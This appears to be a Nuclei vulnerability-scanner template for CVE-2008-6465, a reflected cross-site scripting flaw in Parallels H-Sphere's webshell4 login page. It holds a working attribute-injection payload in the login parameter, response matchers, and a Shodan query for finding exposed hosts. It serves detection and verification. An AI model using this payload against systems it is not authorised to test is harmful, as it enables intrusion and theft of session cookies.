id: CVE-2008-6465 info: name: Parallels H-Sphere 3.0.0 P9/3.1 P1 - Cross-Site Scripting author: edoardottt severity: medium description: | Parallels H-Sphere 3.0.0 P9 and 3.1 P1 contains multiple cross-site scripting vulnerabilities in login.php in webshell4. An attacker can inject arbitrary web script or HTML via the err, errorcode, and login parameters, thus allowing theft of cookie-based authentication credentials and launch of other attacks. reference: - http://www.xssing.com/index.php?x=3&y=65 - https://exchange.xforce.ibmcloud.com/vulnerabilities/45254 - https://exchange.xforce.ibmcloud.com/vulnerabilities/45252 - https://nvd.nist.gov/vuln/detail/CVE-2008-6465 classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N cvss-score: 4.3 cve-id: CVE-2008-6465 cwe-id: CWE-79 epss-score: 0.00421 cpe: cpe:2.3:a:parallels:h-sphere:3.0.0:p9:*:*:*:*:*:* metadata: max-request: 1 verified: true shodan-query: title:"Parallels H-Sphere vendor: parallels product: h-sphere tags: cve,cve2008,xss,parallels,h-sphere http: - method: GET path: - '{{BaseURL}}/webshell4/login.php?errcode=0&login=\%22%20onfocus=alert(document.domain);%20autofocus%20\%22&err=U' matchers-condition: and matchers: - type: word part: body words: - '\" onfocus=alert(document.domain); autofocus' - 'Please enter login name & password' condition: and - type: word part: header words: - 'text/html' - type: status status: - 200